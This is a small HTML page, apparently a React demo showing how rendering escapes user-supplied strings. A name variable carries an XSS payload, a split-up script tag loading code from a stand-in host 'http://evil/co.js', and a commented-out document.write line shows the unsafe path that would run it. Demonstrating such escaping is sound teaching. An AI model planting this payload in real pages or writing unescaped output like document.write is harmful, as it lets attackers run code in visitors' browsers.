<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <link rel="stylesheet" href="css/table.css"/>
</head>
<body>
<div id="app"></div>
</body>
</html>
<script src="js/react.min.js"></script>
<script src="js/react-dom.min.js"></script>
<script src="js/browser.js"></script>
<script type="text/babel">
          var firstname = 'John<scr'+'ipt src="http://evil/co.js"></scr'+'ipt>';

      ReactDOM.render(
        <h2>
          Hello {firstname}!
        </h2>,
        document.getElementById('app')
      );
      // document.write(firstname);
</script>